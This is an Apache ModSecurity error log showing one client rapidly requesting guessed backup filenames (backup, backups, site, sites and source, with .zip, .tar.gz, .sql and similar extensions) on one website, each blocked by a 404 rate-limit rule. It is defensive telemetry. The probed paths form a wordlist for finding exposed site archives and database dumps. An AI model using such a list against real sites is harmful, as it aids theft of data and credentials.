[Fri May 15 09:54:20.341330 2026] [:error] [pid 50531:tid 50542] [client 34.97.8.90:45188] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.tar"] [unique_id "agZ8zB3WbFwE6voqGzrjcAAAAQk"]
[Fri May 15 09:54:21.121929 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:45190] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.tar.bz2"] [unique_id "agZ8zQe36qIGegR4kcmAQgAAAEg"]
[Fri May 15 09:54:21.951288 2026] [:error] [pid 51234:tid 51245] [client 34.97.8.90:45196] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.tar.xz"] [unique_id "agZ8zd72N9CbeiqcqgPSgQAAAUk"]
[Fri May 15 09:54:22.782156 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:45212] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.7z"] [unique_id "agZ8zt72N9CbeiqcqgPShwAAAVQ"]
[Fri May 15 09:54:23.697515 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:45222] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.rar"] [unique_id "agZ8zx3WbFwE6voqGzrjcgAAAQI"]
[Fri May 15 09:54:24.451764 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:45236] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.gz"] [unique_id "agZ80NmMhqLvs0GYixka5AAAAMs"]
[Fri May 15 09:54:25.220847 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:52942] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.bz2"] [unique_id "agZ80d72N9CbeiqcqgPSiQAAAU8"]
[Fri May 15 09:54:26.034760 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:52956] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.zst"] [unique_id "agZ80t72N9CbeiqcqgPSjAAAAUA"]
[Fri May 15 09:54:26.680661 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:52964] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.sql.gz"] [unique_id "agZ80t72N9CbeiqcqgPSjQAAAUU"]
[Fri May 15 09:54:27.391422 2026] [:error] [pid 1295:tid 1307] [client 34.97.8.90:52968] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.sql.bz2"] [unique_id "agZ809mMhqLvs0GYixka5gAAAMk"]
[Fri May 15 09:54:28.128065 2026] [:error] [pid 51234:tid 51245] [client 34.97.8.90:52984] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.sql"] [unique_id "agZ81N72N9CbeiqcqgPSjwAAAUk"]
[Fri May 15 09:54:28.839538 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:52998] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.zip"] [unique_id "agZ81NmMhqLvs0GYixka6AAAAMU"]
[Fri May 15 09:54:29.529321 2026] [:error] [pid 50531:tid 50547] [client 34.97.8.90:53006] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.tar.gz"] [unique_id "agZ81R3WbFwE6voqGzrjcwAAAQ4"]
[Fri May 15 09:54:30.245428 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:53016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.tgz"] [unique_id "agZ81t72N9CbeiqcqgPSkgAAAUY"]
[Fri May 15 09:54:30.963844 2026] [:error] [pid 50531:tid 50541] [client 34.97.8.90:53020] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.tar"] [unique_id "agZ81h3WbFwE6voqGzrjdAAAAQg"]
[Fri May 15 09:54:31.643076 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:53034] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.tar.bz2"] [unique_id "agZ81we36qIGegR4kcmATAAAAEk"]
[Fri May 15 09:54:32.376640 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:53044] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.tar.xz"] [unique_id "agZ82Ae36qIGegR4kcmATQAAAFg"]
[Fri May 15 09:54:33.115137 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:53052] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.7z"] [unique_id "agZ82dqiXrD7hne4gFbIVgAAAIY"]
[Fri May 15 09:54:33.927891 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:53056] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.rar"] [unique_id "agZ82d72N9CbeiqcqgPSlgAAAVg"]
[Fri May 15 09:54:34.719441 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:53070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.gz"] [unique_id "agZ82h3WbFwE6voqGzrjdgAAAQs"]
[Fri May 15 09:54:35.496921 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:37550] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.bz2"] [unique_id "agZ82972N9CbeiqcqgPSmQAAAVM"]
[Fri May 15 09:54:36.349781 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:37556] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.zst"] [unique_id "agZ83N72N9CbeiqcqgPSmwAAAVU"]
[Fri May 15 09:54:37.141687 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:37566] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.sql.gz"] [unique_id "agZ83Qe36qIGegR4kcmAUAAAAEg"]
[Fri May 15 09:54:38.028217 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:37570] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.sql.bz2"] [unique_id "agZ83tmMhqLvs0GYixka6wAAANU"]
[Fri May 15 09:54:38.892144 2026] [:error] [pid 1188:tid 1218] [client 34.97.8.90:37580] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backups.sql"] [unique_id "agZ83tY68iW8yuNkNzPwQAAAABU"]
[Fri May 15 09:54:39.743177 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:37592] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.zip"] [unique_id "agZ83we36qIGegR4kcmAUgAAAFE"]
[Fri May 15 09:54:40.580999 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:37606] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.tar.gz"] [unique_id "agZ84N72N9CbeiqcqgPSngAAAUY"]
[Fri May 15 09:54:41.420416 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:37622] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.tgz"] [unique_id "agZ84d72N9CbeiqcqgPSoAAAAVI"]
[Fri May 15 09:54:42.219680 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:37630] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.tar"] [unique_id "agZ84t72N9CbeiqcqgPSogAAAUc"]
[Fri May 15 09:54:43.131870 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:37646] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.tar.bz2"] [unique_id "agZ849mMhqLvs0GYixka7AAAANQ"]
[Fri May 15 09:54:43.894013 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:37658] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.tar.xz"] [unique_id "agZ84we36qIGegR4kcmAVAAAAFY"]
[Fri May 15 09:54:44.671079 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:37662] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.7z"] [unique_id "agZ85NmMhqLvs0GYixka7gAAAME"]
[Fri May 15 09:54:45.487983 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:51104] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.rar"] [unique_id "agZ85d72N9CbeiqcqgPSowAAAVY"]
[Fri May 15 09:54:46.269333 2026] [:error] [pid 1295:tid 1306] [client 34.97.8.90:51116] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.gz"] [unique_id "agZ85tmMhqLvs0GYixka7wAAAMg"]
[Fri May 15 09:54:47.065764 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:51124] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.bz2"] [unique_id "agZ859mMhqLvs0GYixka8AAAAMw"]
[Fri May 15 09:54:47.871278 2026] [:error] [pid 1295:tid 1317] [client 34.97.8.90:51136] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.zst"] [unique_id "agZ859mMhqLvs0GYixka8QAAANM"]
[Fri May 15 09:54:48.646378 2026] [:error] [pid 50531:tid 50536] [client 34.97.8.90:51140] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.sql.gz"] [unique_id "agZ86B3WbFwE6voqGzrjfQAAAQM"]
[Fri May 15 09:54:49.454965 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:51156] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.sql.bz2"] [unique_id "agZ86dqiXrD7hne4gFbIWQAAAIM"]
[Fri May 15 09:54:50.337295 2026] [:error] [pid 1295:tid 1298] [client 34.97.8.90:51170] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site.sql"] [unique_id "agZ86tmMhqLvs0GYixka9AAAAMA"]
[Fri May 15 09:54:51.178013 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:51178] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.zip"] [unique_id "agZ869mMhqLvs0GYixka9QAAAMY"]
[Fri May 15 09:54:51.992455 2026] [:error] [pid 50531:tid 50541] [client 34.97.8.90:51180] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.tar.gz"] [unique_id "agZ86x3WbFwE6voqGzrjgQAAAQg"]
[Fri May 15 09:54:52.809027 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:51182] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.tgz"] [unique_id "agZ87NmMhqLvs0GYixka9gAAAM4"]
[Fri May 15 09:54:53.607260 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:51196] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.tar"] [unique_id "agZ87dqiXrD7hne4gFbIXAAAAIE"]
[Fri May 15 09:54:54.448797 2026] [:error] [pid 1188:tid 1198] [client 34.97.8.90:51202] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.tar.bz2"] [unique_id "agZ87tY68iW8yuNkNzPwQwAAAAE"]
[Fri May 15 09:54:55.306362 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:44954] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.tar.xz"] [unique_id "agZ87x3WbFwE6voqGzrjhQAAARE"]
[Fri May 15 09:54:56.181092 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:44956] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.7z"] [unique_id "agZ88Ae36qIGegR4kcmAVwAAAEQ"]
[Fri May 15 09:54:57.091223 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:44966] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.rar"] [unique_id "agZ88Qe36qIGegR4kcmAWAAAAEI"]
[Fri May 15 09:54:57.981931 2026] [:error] [pid 1190:tid 1266] [client 34.97.8.90:44982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.gz"] [unique_id "agZ88dqiXrD7hne4gFbIXwAAAI4"]
[Fri May 15 09:54:58.779866 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:44994] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.bz2"] [unique_id "agZ88tmMhqLvs0GYixkbAQAAANY"]
[Fri May 15 09:54:59.601192 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:45006] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.zst"] [unique_id "agZ88972N9CbeiqcqgPSpAAAAUU"]
[Fri May 15 09:55:00.443357 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:45016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.sql.gz"] [unique_id "agZ89Ae36qIGegR4kcmAWwAAAFg"]
[Fri May 15 09:55:01.341555 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:45022] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.sql.bz2"] [unique_id "agZ89dqiXrD7hne4gFbIYAAAAJc"]
[Fri May 15 09:55:02.304442 2026] [:error] [pid 1190:tid 1257] [client 34.97.8.90:45030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sites.sql"] [unique_id "agZ89tqiXrD7hne4gFbIYQAAAIU"]
[Fri May 15 09:55:03.330190 2026] [:error] [pid 50531:tid 50545] [client 34.97.8.90:45032] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.zip"] [unique_id "agZ89x3WbFwE6voqGzrjigAAAQw"]
[Fri May 15 09:55:04.280265 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:45040] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.tar.gz"] [unique_id "agZ8-N72N9CbeiqcqgPSqgAAAVA"]
[Fri May 15 09:55:05.236739 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:42208] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.tgz"] [unique_id "agZ8-dY68iW8yuNkNzPwRQAAAA4"]
